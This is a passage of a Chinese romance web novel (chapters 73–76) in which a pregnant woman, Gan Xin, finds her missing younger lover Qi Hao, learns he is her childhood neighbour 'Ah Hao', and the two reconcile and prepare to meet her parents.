甘歆的鼻子有些发酸,她以为自己能像沈确提起齐灏来时那么平静,可如今后劲慢慢反上来,她发现,无论将这个人撇得多远,只要有一点点他的消息,都会忍不住去在意、去想。 她摸了摸自己的小腹,轻声问:“宝宝,你会想爸爸吗?” 宝宝不会回答她,但她知道,齐灏小时候应该是想他母亲的。 甘歆想起来了,齐灏是18岁入行的,上来业务就熟练,8岁后就跟着爷爷学业务了吗?没有爸爸妈妈的陪伴,他到底是怎么长大的啊。 她烦躁地打开了手机,自从上次说和他分手后,齐灏给她发了几条消息,就再也没有联系过她了,和他一切有关的人好像都不联系她了,周泽、唐满……好像都消失了一样。 是自己应激了吗?是被激素影响了吗? 齐灏心里有过喜欢的人,不正常吗? 他真的把自己当替身吗,有亲口问过他吗? 他现在身边……有人吗? 他爸说他没有朋友的,那他伤心难过了找谁说呢? 他会说吗? 他……在哪啊。 阳光将她的腿晒得很暖,也在晒着他吗? 甘歆点开了齐灏留给他的私人号码,手指指腹在上面摩挲了数次,最终点了下去,都无力将手机贴在耳边了,甘歆打开了免提。 并没有拨通的声音,长 久的静音后,只有机械式的女声,“您拨打的电话暂时无法接通……” 他说过会秒接的电话,无法接通了。 甘歆又给他的工作手机号打了过去,依旧是这样。 齐灏真的人间蒸发了。 她打开了齐灏的对话框,思索了半天发了个“在吗”过去,只看到了自己发出去的消息变成了红点,甘歆整个人都脱力地往后靠了靠。 被拉黑了,还是被删了,她都不知道这两个有什么区别。 甘歆用手抚了抚脸,给周泽打了电话,幸好,这个通了。 “歆总?”他的声音听起来很意外。 “是我,”她的声音也出现了些疲惫,“齐灏人呢?” “我们也一直在找,您有他消息吗?” “什么意思?” “老板已经快消失一个月了,寰科乱成一锅粥了,等他回来主持大局。” “消失?快一个月?”甘歆的心脏都快提到嗓子眼了,“报警了吗?” “……不能报,寰科的股价已经历史最低,再报警可能就破盘了。” “齐老爷子知道吗?” “董事长都心梗了……” “那刚刚新闻不是说?” “寰科不能崩,相关部门要求的,说要一定瞒好,”周泽听起来很着急,“董事长想用那个新闻稳住股价,顺便……也是公开向老板服软,让他回去。” “服软?” “……歆总,有件事我不知当讲不当讲。” “你说。” “我不知道您和老板怎么了,但您真的对老板很重要,您找找他吧。” 甘歆自己都没意识到,她的声音抖了,“我给他打电话了,联系不上。” “歆总,”周泽顿了顿,“别人找老板,多少都有目的,您……可能是唯一有能力也只是纯粹想找他的人了。” “……什么?” “您……想想办法吧。” 挂了电话后,甘歆手脚冰凉,胸口好像挤压了一个气球,还不断地充着气,她快速到卫生间里,打开水龙头,干呕了起来,她尽量控制着不让自己吐得太严重,不然宝宝也可能会受影响。 终于平息后,她坐在了沙发上,看着放置在电视柜上的电子钟,每分钟跳一下,就这么盯着看到个整数,甘歆拿出手机准备给沈确打电话,可想到刚刚周泽的话,又把手机放了下来。 纯粹想找齐灏的人。 那现在在找齐灏的人,是为什么呢? 因为他是寰科的代表,是有能力的商人,是能解决问题的人。 有人真的在乎齐灏吗? 那天电话里他的声音再次回响在自己耳边,他说“不要”,他说“求求你”,齐灏……真的在求救吧。 她实在想不下去了,快速给齐罪打了电话。 “甘小姐?是有阿灏的消息了吗?” “我打算明天回去,您要跟我一起回去吗?” 电话里的人愣了愣,“……我就不回去了吧,他不会想见到我的。” 甘歆不明所以,但也不好多打听,“您说的那两个地方,能告诉我一下吗,您太太在的地方,还有那个小楼?” “你要去找他?” “是。” “你喜欢他吗?” 甘歆大呼了一口气,“喜欢。” “我儿子很矫情的,你多担待。” “您不觉得我配不上他吗?” “你能喜欢他,还会去找他,我已经很感激了。” 甘歆皱了皱眉,没听懂。 “等你……落地了,我再把地址发给你吧,你也可以再想想要不要去。” “好,我到了跟您说。” 挂电话之前,甘歆再次与齐罪确认要不要一起去,他坚持,甘歆也不好再劝。 来的时候没带什么东西,收拾起来也方便,就是和房东拉扯了一会儿退房费,最后押金扣了一半,她也认了。 机票出票很快,但她谁都没告诉。 这一个晚上甘歆都没睡好,第二天毫无意外脸肿了,但现在也不好多用护肤品,就戴了口罩和帽子登机,这次坐的是经济舱,坐在她前排的是一家三口,孩子看起来四五岁的样子,长得很好看,妈妈坐在靠窗的位置,爸爸在走廊。 小男孩好奇心很重,但问出来的话都乖乖软软,“妈妈,这是什么呀”,“爸爸,我好热呀可以脱外套吗?”,得到的回答也极有耐心。 航程上甘歆都没有平日的嗜睡,一直在无意识地观察着。 乘务员来的时候坐在最外侧的爸爸会帮着拿餐盒、饮料,还会给小男孩擦手,妈妈和小男孩之间的扶手应该被推上去了,甘歆从椅子缝隙中看到小男孩枕在了妈妈的怀里睡着了。 她突然觉得自己狠心,想自作主张将孩子独自抚养长大。 看着舷窗外湛蓝的天空,她在心里无声发问:“宝贝……如果没有爸爸,你还愿意呆在妈妈身边吗?” 甘歆在这一刻,竟然对自己要留下这个孩子有些动摇。 落地已经是深夜,她没有犹豫,直接给齐罪发了信息。 过了很久他才回过来,“不用去了,老头子派人去找过了,都不在。” 甘歆在机场到达出口握着拉杆站了很久,已经等着接人的人都不多了,但她好像没了方向,就好像一个快接近答案的人,突然被老师收回了考卷,说题目出错了。 茫然无措,大概就是这个感觉。 气急败坏地拿出手机给齐灏打电话,一声又一声的“无法接通”,她都有摔手机的冲动。 到底去哪儿了。 她的心彻底焦灼了起来,脑子里都是那天齐灏对她说过的话。 是寒心吗,是报复吗,是想用这种方法把我逼出来吗? 齐灏,你真行,年纪不大,本事不小! 人呢!? 坐上出租车的时候她近乎有些抓狂了,她不知道要怎么找到他,她连他住在哪里都不知道…… 再次到临江公寓楼下,甘歆都有些不敢上楼。 这里装着太多齐灏和自己的痕迹了。 她搜索了失踪报警的流程,又去看了失踪72小时、3天、一周的各种情况,越看越心凉,她不得不胡思乱想,如果齐灏真的出了什么意外,她难辞其咎。 甘歆的人生,从来没有这么慌乱过。 耳鸣声不断,差点连电梯到达的声音都辨认不出。 她拖着行李箱站到了家门口,泪眼难绷。 在这扇门前,齐灏有两次,都会从背后抱住她,遮住她的眼睛,问“猜猜我是谁”,他的手从来都没有用力过,虚虚地掩在自己的眼睛上,好像生怕会弄痛自己一样。 甘歆在门口等了许久,没有任何奇迹发生。 她抹掉了脸上的泪,几乎有些喘不上来,手在包里掏了好久,才找到钥匙。 打开门,屋子里一片漆黑,什么都看不见,她顺手打开了玄关的灯,惊讶得毛孔都在瞬间紧缩了起来—— 齐灏就坐在玄关的地板上。 他昏昏沉沉的,好像感知到了来自头顶的光线,才慢悠悠地抬头向上看。 甘歆从来不知道,一个男生可以笑得那么虚弱,连眼神都聚焦不起来。 齐灏撑着身子往前挪了挪,抱住了甘歆的小腿,脸颊在她的裤子上来回蹭,说出来的话都好像飘在空中。 “真好啊,又看见你了,这次久一点好不好?” “十几秒真的太短了。” “……我都来不及跟你道歉。” “姐姐,求求你,回来好不好?” “我没有……没有别人的……” “一直就只有你。” 甘歆愣住了,两颗豆大的眼泪直接滚落,脸颊都没承接住重量,直接砸到了地上。 “姐姐,你不要小狗了。” “但是小狗真的,不能没有你啊。” 第74章 第74章我爱你,甘歆,我爱你,我爱…… 趁着他手松了些,甘歆蹲了下去,“齐灏?齐灏?” 叫了两声,竟然完全没反应,她有些慌了,用手背触碰他的额头,不烫,还好,她晃了晃他的手臂,“齐灏??” 这才看见他拧着眉,脸色极不情愿,嗓音和刚刚的乖软完全不同,极不耐烦,“别叫醒我。” 即使在工作上,齐灏只论好坏,不带个人情绪,不耐烦甘歆更是见都没见过,她顾不上心里的疑问,抚上了这个失意男人的脸,“齐灏,醒醒,是我,甘歆,我回来了。” 他身上的动作好像凝固住了,立刻睁开了眼睛,慌乱地往后退,眼睛里都是惊讶,“……你回来了,等、等等,我、我去洗把脸。” 齐灏努力想将自己撑起来,又跌坐了回去,甘歆的嘴角不自禁地向下弯,往前走了两步,扶着他的胳膊慢慢站起来,她本来想把他带到沙发上,齐灏却坚决要去洗手间洗脸。 甘歆将行李箱放进了客厅,再去厨房想倒水,却发现暖瓶里一滴水都没了,料理台上散落的都是矿泉水瓶子,还有一堆空了的塑料袋,她扒拉开了一些,在角落里发现了剩下的半个白馒头…… 她打开冰箱,里面码得整整齐齐的都是甘歆爱吃的东西,打开餐边柜,各种袋泡茶都已经补充满了,还有许久不用的胶囊咖啡机,旁边也有两盒没拆的胶囊咖啡,零食柜里也是满的。 她一下子有些说不出话来。 来不及细想,先烧了水,先从厨房里退出来了,齐灏还没从卫生间里出来,但水声没有停,她决定不去打扰他,就坐在沙发上等他出来。 环顾四周,屋子里和往常一样。 也是,不过离开了一个多月而已。 水声停了,甘歆莫名有些紧张,齐灏却迟迟没有出来,她几乎就要过去开门。 正想动身,他从卫生间里出来了。 一步一步走到甘歆面前,然后和当初和他告白时那样,坐在了地板上,仰望她。 客厅的白炽灯没有换过,是齐灏更苍白了,眼睛通红,连鼻子也是红的,他小心翼翼地伸出手,先握住了甘歆的指尖,再慢慢握住手指,最后连带着手背一起握住了。 这是她第一次见到齐灏要哭的样子,嘴唇颤抖,连鼻翼都在翕张,“真的是你。” 甘歆被这句话打倒了。 她低头抹掉了快要溢出眼角的泪,抚上了齐灏的脸,“你瘦了好多。” 齐灏的额头抵在她的膝盖上,单薄的裤子完全能感受到他鼻息喷洒的热意,“……你受苦了。” 她弯下身体,将齐灏的脑袋抱在怀里,一下下顺着他的背,“嗯?” 齐灏抬起头来,眼睛湿漉漉的,看向甘歆,嘴角都瘪下去了,一点不见平时的成熟稳重来,活脱一个后悔极了的大男孩,“对不起,是我没有保护好你。” 拇指在齐灏的脸颊上轻轻抚蹭,“没有,我这不是回来了么。” “甘歆,”齐灏双手握住她的两只手腕,带着些颤抖,整个脑袋向下压,根本不让坐在沙发上的人看见他的表情,“对不起,我一直以为自己可以做个普通人,是我高估自己了。” 他的肩膀也连带着在颤抖,后怕极了,“我的家庭、事业,甚至存在的意义,都很复杂,对不起。” “我无意伤害你,可那些会给你带来伤害,”齐灏将脸埋在了甘歆的腿上,能明显感觉到洇湿了一些布料,“真的对不起。” 甘歆摸了摸他的脑袋,笑了笑,“我这都好好的。” 他的声音再次闷了下去,“你都不要我了……” 话及至此,甘歆长叹了一口气,“齐灏,我……其实不确定,回来是不是正确的选择,我们之间的问题确实很大,而且是客观存在的,根本没办法改变。” “但你还是回来了。” “是,我回来了,我担心你,他们说找你找疯了都没找到,我也怕你出事。” 齐灏抬起了头,眼睛通红,还带着一点惊慌,“所以你来找我,只是为了确认我没事?” 甘歆回望了过去,带着些委屈和不信任,眼眶也红了,她近乎自虐般地直言:“装在你心里的,那张照片里的人是谁?” 齐灏抿着嘴唇,鼻子通红,长长的睫毛上挂着晶莹的水珠,看向甘歆的眼神绝望又深情,“你不认识吗?” “我应该认识吗?”她心里的紧张半点不少。 “……那个人……不是你吗?”齐灏的泪水再也藏不住,只是流得太安静,只有右眼下的一道水痕,“203奶奶家的姐姐,你不记得阿灏了吗?” 甘歆的眼睛慢慢睁大,嘴也不受控制地张了开来,头皮麻得她说不出话,血液都似乎在这一刻凝固了,“你说什么?” “奶奶包的荠菜饺子,真香啊。 “你一回来,会带糖、饮料,有的时候是蛋糕。 “即使我站得很远,你也不会漏给。” 齐灏又掉了两滴泪下来,但嘴角是笑着的,学着她,“那个长睫毛的弟弟,你过来点,我胳膊没那么长。” 甘歆的眼眶蓄起了泪水,再次向齐灏确认,“什么?” “你们再拿他手里吃的,我就不给你们了。 “你不能仗着自己睫毛长,长得好看,就不理他们。” 他在背诵着她十多年前说过的话,整个嘴唇都在颤抖。 “喂,别愁眉苦脸的了,下午给你买冰激凌。 “别哭了,睫毛长掉进眼睛里就不好了。” “你是……”眼眶再也承载不住泪水的重量,甘歆看向齐灏几乎不可思议,“你是……” “我是阿灏啊,姐姐,你记起我了吗?” 甘歆记得,十多年前的夏天,她回奶奶家,奶奶边包着饺子边跟她说,201室来了个小男孩,说是寄养在这几年,那个男孩子年纪不大,却长得高,不太爱说话,没什么表情,一直心事很重的样子。 第一次甘歆带饮料,忘记有他的存在了,就少了他的份,小男孩没哭没喊,只是刚刚探出门的身子又缩了回去,后来她再也没忘记过。 小男孩安静腼腆,但性子是傲的,被人欺负了也不说话,要不是她眼见着刚分给他的东西被楼上的两个男孩子拿了,她永远都不会知道,自己给他的东西从来没到过他手里。 后来他特意会看着他吃第一口、玩第一下,再警告警告那几个耀武扬威的孩子,小男孩的唇角终于有了些弧度。 甘歆记得,有次和他一起坐在阶梯上吃鸡腿,她才想起来问他,“你叫什么?” 小男孩愣了愣,反问她,“你叫什么?” “我叫歆歆。” 他点了点头,“我叫阿灏。” “是浩瀚星辰的浩吗?” 她不知道的是,明明知道不是同一个字,但这个小男孩,因为这四个字里有个“星”,他点了点头。 他是浩瀚,她是星辰。 没有一个字是对的,可他们却觉得正确。 “你是阿灏……你是阿灏,”甘歆机械式地重复着,“你后来搬走了,去哪了?” “被爷爷带回家了。” 甘歆依旧震惊,“你怎么会有我的照片呢?” “……我,请201叔叔阿姨帮我拍的。” 甘歆一时间不知道该哭还是该笑,胸口里憋着莫名鼓胀的情绪,说出来的话却带着点好笑,“你是不是太早熟了?” 齐灏也被她这句话逗笑了,“我那时候……不知道什么是喜欢,很久、很久之后,才 明白的。” “那你去F大,是为了?” “你。” “对接晟宇的项目?” “你。” “……在线电影群?” “你。” “为什么不直接告诉我呢?为什么要绕这么大一个弯子,”甘歆伸手捏住了他的脸颊,“齐灏灏,我不值得你说实话吗?” 齐灏任捏,只皱了皱眉,又笑着盖住了她的手,“我太小了,即使现在,我也没有完全的能力,让你不受到伤害,可我太着急了,你都谈了两个男朋友了……我、我!后来你又说你不想谈恋爱,我……只能用下三滥的办法了。” “你算计我。” “……不是算计,”他齐灏抬起头,深邃的眼眸注视着甘歆,“是觊觎你。” “你就是算计我,用肉.体算计我,心怀不轨。” 齐灏终于坐到了沙发上,将甘歆搂在了怀里,“好……我算计你,我对你心怀不轨,我对你想入非非,我对你是本能、控制不住,靠近你、独占你、我要你。” 他的眼眸深邃如海,又有点点星辰,他的爱欲和思念几乎化为了实质,要将宇宙引爆,他的心思是那样暴虐,可行动和言语却是那样温柔。 “我爱你,甘歆,我爱你,我爱你。” 她终于从他的嘴里听到了爱,她的怀疑和猜忌,在这一刻变得渺小,可她好恶劣、好贪婪,她还想要更多,“……之前从来没听你说过。” “之前,”齐灏的喉结上下滚动了下,“我觉得我不够格。” “现在就够了吗?” 齐灏摇了摇头,“不够,感觉永远都不会够,但我忍不住了。我爱你,甘歆。” 她搂住了他的脖子,悄悄在他耳边说:“我也爱你,我是爱你的,齐灏。” 这个宛若自证一般的拥抱,他们都用了很大的力气,恨不得将对方融入自己的身体、融入自己的骨血。 甘歆用唇感受着齐灏眼睫毛的长度和软,佯装不高兴地嘟囔着,“完了,这下老牛吃嫩草实锤了。” 齐灏只笑,将她搂紧了,“这颗草只有你吃的时候不带毒。” 她伸手抚着齐灏的脸颊,想到厨房里的狼藉,心疼得眼圈又红了,“你怎么只吃水和馒头?” “出来得太急,身上没带多少现金……我不知道能撑多久,就买便宜的吧。” “手机呢?” “里面有定位器,都放在家里了。” “你还拉黑删除我!” “……我怕有心人用我的手机跟你说话。” 好吧,件件有解释,句句有回应。 原谅他了。 甘歆用脸蹭了蹭他,“外面的人找你找疯了。” “我找你也找疯了。” “如果我今天不回来呢?” 齐灏愣了愣,无奈地笑笑,“我到现在都不敢确定是真的,之前也出现过类似的幻觉,虽然就十几秒。” 甘歆凑上去吻了吻他的嘴角,“真了吗?” “真了……一点点。” 她再亲一口,“现在呢?” “多一点点。” 她不打算上她的当,戳了戳他的胸口,声音闷闷的,“太子爷没钱买吃的,传出去被人笑掉大牙。” “我不要当太子爷,只想待在你身边。” “可你没钱买吃的,怎么把冰箱和柜子都塞满了。” “……我怕你回来没吃的。” “阿灏,”她又流泪了,齐灏做的这些,怎么这么爱让她哭,甘歆搂了搂他的腰,语气温柔缱绻,“你去做点吃的吧,我好饿。” “好,你等我。” 第75章 第75章“我会娶你,你要信我。”…… 奔波了一天,孕期又嗜睡,见到他人后情绪跟着剧烈起伏,等齐灏下完面出来,甘歆已经在沙发上睡着了,沉到连齐灏将她抱回房里都没发现。 这天晚上甘歆做了个梦,梦见回了奶奶家,刚刚进楼道就听见奶奶嘹亮地喊自己小名,又说荠菜饺子又包好了,她上楼的时候发现自己穿的是白色的帆布鞋,牛仔裤和卫衣,伸手摸了一把头发,还扎着高高的马尾,她好像回到了二十多岁。 长长的楼道里住着四户人家,甘歆连奶奶家的门都没有进,就被塞了四袋饺子,让给邻居家都分一点儿,她先去楼上的孤寡老婆婆家,202和204的门开得很快,只有201,每次都要问很久是谁,才会打开,连门缝都开得很小。 但即使很小,她还是看得见屋子里有个坐姿端正的男孩子,坐在餐桌前,转过头来往门口看,怯懦的、小心翼翼的,等甘歆挥挥手给他打招呼,他的嘴角才慢慢露出点弧度来。 梦里场景渐渐泛白,好像有巨大的光束照下来……甘歆慢慢睁开了眼睛。 “做什么美梦了,笑得那么开心?”齐灏躺在她旁边,撑着脑袋看他。 见他一身衣服都没换,天光已大亮,甘歆下意识说:“你没睡觉么?” 齐灏摇了摇头,“我怕我睡着了你又走了,也怕这是个梦,只有看着你我才放心。” 笑容慢慢漾开来,甘歆把被子拉过了脑袋,“看不着你就老实了。” 他的脑袋也钻了进来,看着甘歆的眼睛似海,“姐姐,你真的回来了。” 听了这话,甘歆的心就软了,慢慢蹭进了齐灏的怀里,搂住了他的腰,“你怎么在这,周泽没来这找过吗?” “他不知道是哪一户,就算知道也没钥匙,”齐灏顿了顿,叹了口气,“我不知道要上哪找你,他们把你身份证绑定的痕迹都抹掉了。” 电视剧里才会发生的情节,竟然真的发生在了自己身上,甘歆多少有些感慨,“所以你就带着点现金和钥匙来我这了?” 齐灏对着她点了点头。 甘歆觉得有些好笑,捏了捏他的耳垂,“在我家住了这么久,都不知道电视柜里有现金的吗,天天吃白水馒头,是不是故意要引起我的同情心?” 他的下巴蹭下来,将甘歆抱得更紧了些,“所以呢,让你心软了吗?” “……你少来,我还没跟你算账呢,”甘歆拧着身子往后靠了靠,“唐满怎么会有照片?” “我爷爷给她的。” 甘歆觉得有些不对劲,皱了皱眉,翻身脸对着齐灏,“你还有没有什么事瞒着我?” “……没有了,吧,”接着他就叹了口气,“好吧,还有一件,之前回老宅,我爷爷想让寰科和洲海深度绑定,两个老人家商量了联姻的事。” “什么?!”甘歆睁大了眼睛,她本来也就以为齐灏和唐满在小时候关系还挺好的之类,没想到竟然是这个。 “洲海在海外的事业线很清晰,这得益于唐满之前常年在国外,寰科想拓展海外市场,洲海想要雄厚的资金,两家合并的资金池非常可观,寰科能够稳坐老大,洲海的排名也会借机提升。” “那也不能……”甘歆惊讶得眼睛都瞪大了,“乱点鸳鸯谱。” “都是这样的,不仅是我们,我们的爸爸妈妈,我们的下一代,可能都会遭遇这样的事。” 甘歆紧张地下意识将手护住了肚子,“那你……” “我当然不可能答应,别说我,唐满也不答应,”齐灏抬了抬眼睛,“你别看唐满一副为了公司什么都能做的样子,她也很要强。” “不答应的条件是什么?”甘歆从来不相信,反抗规则没有代价。 “寰科的股价上升16%,洲海的排名上升两位,他们就认为,我们已经足够强大到不需要以联姻来满足他们的期待。” 甘歆叹了口气,“现在寰科的股价一直没上去。” “我爷爷来见过你了吧,”齐灏看着甘歆的表情很淡然,一点都不惊讶,“他总是这样,悄悄将我喜欢的、在意的处理掉,他说他这辈子没有更高的成就是因为太心软,可我一直看不到他的心软在哪里。” “你爷爷没对我做什么,”甘歆抚着齐灏的脑袋,又笑了出来,“塞了张空支票给我,后悔呀,当时应该填个一两千万的。” “一两千万就把你收买了啊?” “拜托,齐总,你以为谁家都跟你家似的,一两千万很多了。” 齐灏噘着个嘴,有些不乐意,甘歆凑上去吻了才好些,“你和唐满聊了什么?” “我就是问了下我爷爷到底和她说了什么。” “嗯?说了什么?” 齐灏露出了一副贼笑,抻了抻胳膊,“等你见到她就知道了。” “你怎么 到处拿钱砸人啊!” 齐灏有些意外,“你怎么知道?” 甘歆自知说漏嘴了,“沈确硬要告诉我的。” “哦——”齐灏吻了吻她的脸,“姐姐原来还是在意我的。” 两人互相闹了会儿,齐灏看过来的眼神突然变得黏腻,低头看着怀里穿着藕色睡衣的爱人,他凑过来的时候缓缓闭上了眼睛,触碰前一秒,长长的眼睫毛向下弯起来,熟悉的气味,柔软的触感,他忍不住托起甘歆的下巴,吮吻着她的唇。 思念在触碰中不断增加,甘歆被他吻得有些腰软,倒头睡在了床上,齐灏低头过来的样子有些沉醉,消瘦增加了他的性感,凑过来贴身的深吻甘歆实在没忍住,与他耳鬓厮磨、与他缠绵悱恻。 就在他即将失控去解甘歆扣子的时候,被她握住了手,她微微摇了摇头。 男人虽不解,但还是收回了手。 “抱歉,我自作主——” 齐灏的话还没说完,甘歆就捉住了他的左手,往她的小腹上带,这个暧昧的动作让男人更摸不着头脑,他只能扯了扯甘歆的睡裤裤腰,好像在克制,更像是在安抚,“没关系,不用勉强的。” 见他这样,甘歆真有点不明白这事是说好还是不说好。 甘歆对着齐灏勾了勾手指,让他凑耳朵过来,男人对她的指令向来言听计从,脸上还带了点好奇,将脑袋凑到了她跟前。 “有了。” 齐灏皱了皱眉,没听懂,“有什么了?” 果然年纪太小的男人是想不到这层的吗,甘歆简直想把他从23楼扔出去,“宝宝。” “宝宝?” 他似乎还没听明白,气得甘歆朝着他的胳膊就是一掌,“又没在你肚子里,你孕傻个什么劲!” 齐灏整个人都呆滞了,慢慢直起身,眼睛瞪得巨大,想往后退,可后面就是床架子了,脑袋“咚”地一声撞到了墙面,一副惊慌失措的样子。 甘歆的心凉了半截,她深呼吸地镇定了一下,“你别这样,你不要我也要,不用你负责。” 男人惊讶的表情一点没减少,嘴越张越大,最后直接咬住了手背,甘歆第一次见他这么失态,看来是真吓着了。 “齐灏你真不用往心里——” “你怀孕了?”他发出来的都是气音,连话都说不清了,“怀孕了?有宝宝了?我的?!” “……不是你的。”甘歆翻了个白眼。 甘歆心里不得劲,背过身想往边上挪一挪,就被齐灏从身后抱紧了,后脖颈上的热意来得太突兀,混着齐灏重重的呼吸,他的话像是从唇缝里漏出来的,还带着哽咽,“对不起、对不起……” 怀孕这个消息甘歆独自感受了太久,她谁都没告诉,但第二个知道这个消息的人是齐灏,让她觉得很幸运,也替宝宝感到幸运。 他先认识了妈妈,第二个认识的就是爸爸。 孕期的情绪来得太快,她也忍不住眼眶湿润了起来,也带着些哽咽,“你道歉干嘛。” “让你在没有充分的准备下就怀孕,我真不是东西。” 甘歆咽了咽,“那这个孩子,你要吗?” “要……当然要,是你的孩子,我怎么可能不要。” “又不是我一个人的。” 甘歆嘟囔着回过身,抱紧了齐灏,将脸埋在他的胸口,搂着她的男人一直在说感谢,又时不时地在擦眼泪,他抹眼泪的手掌也是湿的,不知道究竟是泪水还是掌心出的汗。 他在甘歆的耳边说了很多、很多爱,他吻了她的眉心、她的唇,也吻了她的肚子,小心翼翼地用脸颊去蹭她还丝毫没有变化的小腹。 他说:“宝宝,我是爸爸。” 甘歆在听到这句话后,又忍不住想哭,前些日子想独自抚养孩子的决心历历在目,直到回到齐灏身边才发现,有了父亲这个角色,她和孩子的确都会完满一些。 身边的这个年轻男人并没有一直围绕着宝宝,而是认认真真地去书房拿了纸和笔来,他没带任何通讯设备,也没办法上网查,只好依着自己仅有的一些“知识”对甘歆进行“盘问。” 比如什么时候发现的、怎么发现的,有没有去做过检查,缺什么营养没有,还问了她平时有什么孕反症状,以及身上有没有哪里不舒服。 问了一大堆,也记了一大堆,甘歆拿过了他的本子看,发现上面的字工整飘逸,连涂改都没有,语句也连贯,天才果然不是假的。 甘歆知道,虽然齐灏嘴上不说,但心里特别懊悔让她一个人去广粤,还独自去了老宅,虽然在澳城遇见他爸的这个巧合,让他觉得有些幸运外,别的都让他感到后怕。 他抱着她的时候轮着说“对不起”“谢谢你”“我爱你”,连几秒的间隙都不肯停。 接着他又沉默了许久,眼神里好像已经有了打算。 “你能给我一些时间吗?寰科的事情不解决,我总担心有意外。” 甘歆看着他,最终还是点了点头。 齐灏正色问她:“你回来有人知道吗?” 甘歆摇了摇头,“没有,谁都不知道。” “别人我总不放心,我想跟你回趟家,至少让你爸妈知道我的心意和诚意,如果可以的话,请他们和你一起去北泽的别墅那待一段时间,他们照顾你会周全很多,就是会辛苦些。” “为什么去北泽?”甘歆有些不理解。 “……有我爸,至少能拦着点。” 他们心知肚明拦着什么,齐灏这段时间不露任何行踪、不联系甘歆,只过来等,就是不想自己的行动被先一步掌握,以至于再做出会伤害甘歆的事情。 她叹了口气,此时才明白齐灏一直说的“普通人”多么难得。 齐灏看着甘歆的眼睛,万分虔诚,一字一句,“我想娶你。” 自从有齐老爷子那两趟,甘歆对和齐灏结婚这件事已经不太抱希望了,本来就是妄想的事,她不想多费心力,只要齐灏能认这个孩子,当他的爸爸,给他父爱和家庭的温暖,就足够,可他现在这么说……让她无法不去想、去期待。 她捂住了齐灏的嘴,头撇开了一些,“别说了,没关系的。” 他这次没有顺着甘歆的意思,将她的手腕握住,将她的双手包在自己的手里,十分郑重地对她保证,“我会娶你,你要信我。” 第76章 第76章爸妈,就这么定了,我心里有…… 自从知道甘歆怀孕后,齐灏所做的一切都小心翼翼,谨慎得都不想让她下床,甘歆看着他都忍不住发笑,“得走走,老不运动该血栓了。” 然后齐灏就陪她在家里来回转圈,从客厅逛到书房,再到卧室,有的时候晃得有点晕了,齐灏就一把把她抱起来放在腿上,关切地问 有没有哪里不舒服。 神奇的是,和齐灏在一起,甘歆的孕反就轻了很多,顶多有些干呕,她这么一跟齐灏转达,他恨不得让甘歆长在自己身上。 甘歆问过他要不要和外头联系,齐灏只说把她安顿好再说,她在一个22岁的年轻男人身上看到了担当。 当然了,她也把周泽说的齐老爷子心梗的事情和齐灏说了,齐灏慌张了一秒,随即冷静了下来,如果真的心梗了,他爸不会这么淡定,甘歆弄不清祖孙三代的爱恨情仇,也懒得去管,她眼下就想把宝宝平平安安生下来。 白露后天气渐渐转凉,甘歆见齐灏身上还是短袖,打开了衣柜后也是,心里有些过意不去。 她知道齐灏在给她时间做心理建设,见爸妈,总不是一件容易的事。 这天降温,23楼的风很大,甘歆午睡刚醒,房间里不见人,她下床去找,客厅里也没有,窗户关得严实,她喝了杯热水正往回走,看见书房的门虚掩着。 甘歆没打扰,悄悄走到门边,听里面的声音。 应该是在放新闻,是一段采访,声音很小很模糊,但她还是听见了一些词,“周总助”“齐董事长”等,她静静将门缝开得大了些,看到坐在电脑后的齐灏。 他皱着眉,有些苦恼的样子。 事实上,齐灏很少有这个表情,他向来无所不能,很少不知所措。 寰科是齐家的心血,齐老爷子是他的爷爷,他不可能坐视不管,甚至可能心里是着急的,但他自小训练出来的掩饰功夫实在太好了,齐灏从没表现出来,对着甘歆只有百分百的耐心和包容。 要不是今天甘歆醒得早,可能连这个场景都看不到。 甘歆悄悄退回了卧室,坐回了床上,看着外头落着的秋雨,有些过意不去,尤其他爸说的那些话,闪现进脑海里,更让她难安。 齐灏8岁后没有父母,长大后没有朋友。 爷爷的关心寄予了厚望,连喜好都会被直接或者间接剥夺。 所以外面才会传,他心思难猜吧。 她深深叹了口气,不小心发出了实音,刚想躺下装睡,齐灏就推门而入了,他走到床边坐下,伸手抚了抚甘歆额头的发,嘴角带着笑,连眼睛里都是温柔,全然不见刚刚纠结的表情。 “醒了?怎么叹气。” 甘歆捉住了他的手,放到自己脸上,接着蹭蹭,“明天雨就停了,后天我让我爸妈过来,你觉得行吗?” 齐灏愣了愣,眼神有些躲闪,“你觉得行就行。” “怎么了,不想见了啊?”甘歆笑笑。 他尴尬地咧了咧嘴,又咬了咬嘴唇,才说:“我现在一无所有,感觉跟骗婚似的。” 这句话成功逗笑了甘歆,她对着齐灏招了招手,让他把脑袋放下来些,他照做了,接着细白的手掌就从他的喉结捋到了下巴,再抚摸上他的脸颊,最后拇指摁上了他的嘴唇,还特意往下拉扯了一下,她性感撩人得像只豹,齐灏看她的眼神都变了。 “不许乱动,我现在可是有身子的人。” 齐灏刮了她一下鼻子,又深深吻住了她的唇,舔吮吸弄,就是不叩开她的齿关,甘歆被她弄得有些上头,凑上去的脑袋一下没够着他的嘴,气得脸颊都鼓了起来,齐灏似乎终于逗弄够了,才在她的脸颊上吻了个大的,连声儿都弄得很响。 他捏了捏甘歆的手,“不闹了,真搓出火了怎么办。” 她觉得在齐灏面前,她才是那个小孩。 甘歆坐了起来,脑袋靠在齐灏的胳膊上,“那一无所有的你,准备好接受组织的考验了吗?” “我有,”齐灏将她揽到了自己怀里,“我有一颗赤忱的心。” 她笑了,又往齐灏怀里凑凑,“我也不可能一直不出门,还是要定期产检的,你现在也不方便出去,我早点让我爸妈过来,我们好早点动身。” 你也负担小一点。这是甘歆藏在心里的话。 “……嗯,”他拥她很紧,说话却轻柔,“我会学着做一个好爸爸的。” 甘歆问他:“你不觉得自己这个年纪就有孩子太早了吗?不会觉得禁锢?” 齐灏笑了笑,只在甘歆的耳边说了一声,“汪。” 他是小狗,渴望被看管、被禁锢,最好能绑在甘歆身上。 —— 父母接到甘歆的电话,说让他们来一趟,有些意外。 过去甘歆严肃地说过,如果来这里的话,一定要提前给她打招呼,她不希望自己的生活被打扰,倒是这种邀请,是第一次,让父母不得不追问她怎么了。 她说,想让他们看一个人,问问他们行不行。 这话一扔出去,二老一晚上没睡着,不为别的,只是好奇,为什么是让父母过来,而不是去拜访,甘歆只让他们别多想,到时候后天来的时候就知道了。 同样没睡着的,还有齐灏,一晚上辗转反侧,最后直接去了客厅。 父母准备了不少东西,吃的用的,想到的、能带的,都带上了。 门是甘歆去开的,齐灏就站在她旁边,紧张得拳头攥得骨节都发白。 